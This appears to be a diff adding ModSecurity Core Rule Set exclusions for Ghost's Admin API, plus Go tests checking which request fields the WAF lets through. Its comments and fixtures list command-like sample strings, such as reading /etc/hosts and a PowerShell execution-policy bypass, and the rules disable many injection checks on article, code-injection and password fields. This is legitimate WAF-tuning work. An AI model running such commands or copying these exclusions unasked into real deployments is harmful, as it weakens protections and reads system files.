||||||
|
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/password_reset/" \
|
||||||
|
"id:900363,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.password_reset\.\d+\.email$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.password_reset\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.password_reset\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.password_reset\.\d+\.email$/"
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||||
|
"id:900364,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.users\.\d+\.email$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.users\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
|
||||||
|
|
||||||
|
# The articles skip these rules on the Admin API:
|
||||||
|
# 930120: ls -la /var/www/html/.htaccess in a code block
|
||||||
|
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
||||||
|
# 932125, 932230, 932235, 932250: cat /etc/hosts | grep example
|
||||||
|
# 932160: #!/usr/bin/env python3
|
||||||
|
# 932260: python3 -m venv .venv
|
||||||
|
# 932370: the same list in the html of a post saved through the API
|
||||||
|
# 932380: a code block whose second line starts with powershell
|
||||||
|
# 934100: document.querySelectorAll('a').forEach((a) => console.log(a.href))
|
||||||
|
# 941100, 941160: an HTML card with an iframe
|
||||||
|
# 941120: onclick= in an HTML card
|
||||||
|
# 941180: window.onload in a code block
|
||||||
|
# 941390: console.log(
|
||||||
|
# 942190: a code block with an SQL query
|
||||||
|
# These fields hold an article:
|
||||||
|
# posts.<n>.lexical and pages.<n>.lexical, which the editor saves, and the
|
||||||
|
# same fields mobiledoc, in Ghost's older format, and html, which
|
||||||
|
# integrations send
|
||||||
|
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
|
||||||
|
# reuse
|
||||||
|
# newsletters.<n>.footer_content, the footer of a newsletter
|
||||||
|
# A <script> element (941110) and a javascript: link (941170, 941210) are still
|
||||||
|
# refused in them.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
|
"id:900355,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/"
|
||||||
|
|
||||||
|
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
|
||||||
|
# the site's settings, which hold the site-wide code injection besides the
|
||||||
|
# title and the description, skip the rules of plain text above and these:
|
||||||
|
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
|
||||||
|
# 941270: <link rel="preconnect" href="https://fonts.example.com">
|
||||||
|
# These fields hold it, and skip the rules anywhere on the Admin API:
|
||||||
|
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
||||||
|
# settings.<n>.value, the value of a setting
|
||||||
|
# A <script> element and a javascript: link are still refused in them.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
|
"id:900356,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
|
||||||
|
|
||||||
|
# Saving a staff user's profile sends the field profile_image, whose name holds
|
||||||
|
# .profile, a file the list of system files names (930120).
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||||
|
"id:900357,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
||||||
|
|
||||||
|
# The passwords, which skip each rule that random passwords set off:
|
||||||
|
# password, signing in at /ghost/api/admin/session/
|
||||||
|
# setup.<n>.password, creating the first staff user
|
||||||
|
# invitation.<n>.password, accepting an invitation
|
||||||
|
# password_reset.<n>.newPassword and ne2Password, resetting a password
|
||||||
|
# password.<n>.oldPassword, newPassword and ne2Password, changing one at
|
||||||
|
# /ghost/api/admin/users/password/
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/(?:session|authentication/(?:setup|invitation|password_reset)|users/password)/$" \
|
||||||
|
"id:900358,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^json\.(?:password|(?:setup|invitation)\.\d+\.password|(?:password_reset|password)\.\d+\.(?:old|new|ne2)password)$/"
|
||||||
|
|
||||||
|
SecMarker END_GHOST
|
||||||
@@ -0,0 +1,514 @@
|
|||||||
|
package coreruleset_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"slices"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ghostThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
|
const ghostThreshold = 5
|
||||||
|
|
||||||
|
// Paths of Ghost's Admin API, Content API and members' API.
|
||||||
|
const (
|
||||||
|
ghostPosts = "/ghost/api/admin/posts/"
|
||||||
|
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
|
||||||
|
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
|
||||||
|
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
|
||||||
|
ghostMembers = "/ghost/api/admin/members/"
|
||||||
|
ghostSettings = "/ghost/api/admin/settings/"
|
||||||
|
ghostSession = "/ghost/api/admin/session/"
|
||||||
|
ghostSetup = "/ghost/api/admin/authentication/setup/"
|
||||||
|
ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
|
||||||
|
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
||||||
|
ghostMember = "/members/api/member/"
|
||||||
|
ghostMagicLink = "/members/api/send-magic-link/"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"ghost"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A filter, which only Ghost's fixes let through.
|
||||||
|
filter := get(ghostPosts + "?filter=tag:powershell")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(filter, giteaHost), matched(932120))
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostField is a field of a JSON body Ghost receives: the request that
|
||||||
|
// sends it, and its body, with VALUE where the field's value goes.
|
||||||
|
type ghostField struct{ method, target, body string }
|
||||||
|
|
||||||
|
// with returns f's body holding value, escaped for JSON.
|
||||||
|
func (f ghostField) with(t *testing.T, value string) string {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
quoted, err := json.Marshal(value)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return strings.ReplaceAll(
|
||||||
|
f.body,
|
||||||
|
"VALUE",
|
||||||
|
string(quoted[1:len(quoted)-1]),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostTextFields = []ghostField{
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostPost,
|
||||||
|
`{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/pages/",
|
||||||
|
`{"pages":[{"slug":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/tags/",
|
||||||
|
`{"tags":[{"name":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/tags/",
|
||||||
|
`{"tags":[{"description":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/labels/",
|
||||||
|
`{"labels":[{"name":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostMembers,
|
||||||
|
`{"members":[{"labels":[{"name":"VALUE"}]}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostNewsletter,
|
||||||
|
`{"newsletters":[{"sender_name":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/snippets/",
|
||||||
|
`{"snippets":[{"name":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPut, ghostMember, ghostMemberName},
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostMemberName is the body that saves a member's name at /members/api/.
|
||||||
|
const ghostMemberName = `{"name":"VALUE"}`
|
||||||
|
|
||||||
|
// ghostAddressFields hold a member's or a staff user's email address and skip
|
||||||
|
// 930120, 932120 and 932260.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostAddressFields = []ghostField{
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostMagicLink,
|
||||||
|
`{"email":"VALUE","emailType":"signup"}`,
|
||||||
|
},
|
||||||
|
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
|
||||||
|
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
||||||
|
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
||||||
|
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostPasswordReset,
|
||||||
|
`{"password_reset":[{"email":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostArticleFields hold an article and skip the rules of 900355.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostArticleFields = []ghostField{
|
||||||
|
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
||||||
|
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
ghostPosts + "?source=html",
|
||||||
|
`{"posts":[{"html":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ghost/api/admin/snippets/",
|
||||||
|
`{"snippets":[{"lexical":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostNewsletter,
|
||||||
|
`{"newsletters":[{"footer_content":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostCodeFields hold code injection or a setting and skip the rules of
|
||||||
|
// 900356.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostCodeFields = []ghostField{
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostPost,
|
||||||
|
`{"posts":[{"codeinjection_head":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
ghostPage,
|
||||||
|
`{"pages":[{"codeinjection_foot":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut, ghostSettings,
|
||||||
|
`{"settings":[{"key":"title","value":"Blog"},` +
|
||||||
|
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// The query fields that skip some rules, each ending in "=".
|
||||||
|
const (
|
||||||
|
ghostAdminFilter = ghostPosts + "?limit=30&filter="
|
||||||
|
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
||||||
|
ghostSearch = ghostMembers + "?limit=100&search="
|
||||||
|
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
||||||
|
)
|
||||||
|
|
||||||
|
// ghostQueryFields are the query fields that skip some rules.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostQueryFields = []string{
|
||||||
|
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostURLs are addresses 930120 and 932120 refused in url.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostURLs = []string{
|
||||||
|
"https://github.com/example/site/blob/main/.htaccess",
|
||||||
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
||||||
|
"https://example.com/docs/python3/",
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostAddresses = []string{
|
||||||
|
"erin.htaccess@example.com",
|
||||||
|
"python3.dev@example.com",
|
||||||
|
"dave.powershell@example.com",
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
||||||
|
// embed, which each of the rules of 900355 refused.
|
||||||
|
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
||||||
|
`<pre><code>#!/usr/bin/env python3
|
||||||
|
cat /etc/hosts | grep example
|
||||||
|
ls -la /var/www/html/.htaccess
|
||||||
|
powershell -ExecutionPolicy Bypass -File build.ps1
|
||||||
|
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
|
||||||
|
document.querySelectorAll('a').forEach((a) => console.log(a.href));
|
||||||
|
window.onload = () => alert('ready');</code></pre>` +
|
||||||
|
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
|
||||||
|
`<img src="https://images.example.com/banner.png" ` +
|
||||||
|
`onclick="this.classList.toggle('big')">`
|
||||||
|
|
||||||
|
// ghostCodeInjection is ordinary code injection for the head of a page.
|
||||||
|
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
|
||||||
|
`<link rel="preconnect" href="https://fonts.example.com">` +
|
||||||
|
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
|
||||||
|
|
||||||
|
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
|
||||||
|
// holding value, or lets it through.
|
||||||
|
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
r := request{f.method, f.target, []string{jsonBody}}
|
||||||
|
body := f.with(t, value)
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
||||||
|
if refused && got.Score < ghostThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"%s %s %.300s let through: %+v",
|
||||||
|
f.method,
|
||||||
|
f.target,
|
||||||
|
body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !refused && got.Score >= ghostThreshold {
|
||||||
|
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
